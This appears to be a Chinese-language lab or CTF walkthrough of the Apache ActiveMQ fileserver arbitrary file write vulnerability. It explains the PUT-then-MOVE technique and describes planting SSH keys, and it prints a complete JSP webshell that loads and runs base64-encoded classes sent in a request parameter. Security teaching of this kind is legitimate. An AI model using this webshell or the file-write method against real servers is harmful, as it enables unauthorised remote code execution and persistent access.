? 在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默認關閉了 fileserver 這個應用(不過,可以在conf/jetty.xml 中開啟);在 5.14.0 版本后,徹底刪除了 fileserver 應用。【所以在滲透測試過程中要確定好 ActiveMQ 的版本,免去無用功】
該漏洞出現在 fileserver 應用中,漏洞原理是 fileserver 支持寫入文件(但不解析 jsp),同時支持移動文件(MOVE 請求)。所以我們只需寫入一個文件,然后使用 MOVE 請求將其移動到任意位置,造成任意文件寫入漏洞。
寫入文件方法
寫入 webshell
寫入 cron 或 ssh key 等文件
寫入 jar 或 jetty.xml 等庫和配置文件
啟動環境
方法一:寫入webshell
【該方法的使用條件】
1、需要知道 ActiveMQ 的絕對路徑
2、需要能登錄 admin 或者 api
【分析條件】
1、ActiveMQ 的絕對路徑可以通過 http://your-ip:8161/admin/test/systemProperties.jsp 頁面獲取,不過該頁面需要登錄才能訪問。
2、獲取用戶名和密碼,可以通過弱口令、暴力破解、社工等方法(不過題目已經給出了默認用戶名和密碼 admin/admin,這里就省去了這個步驟)
絕對路徑
開始抓包 直接抓jsp
webshell
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
修改成如下
204表示成功
用 MOVE 方法將 webshell 移動到 admin 所在文件夾,響應 204 表示操作成功
當然了,移動到 api 下也是可以的,我這邊移動到 admin 目錄下
蟻劍連接webshell
重點是記住 admin 應用是需要登錄的,所以記得一定要在連接中添加 Authorization 頭
方法二:ssh上傳公鑰
攻擊機生成公鑰
下載下來?????? 也可以直接復制內容
上傳
move更改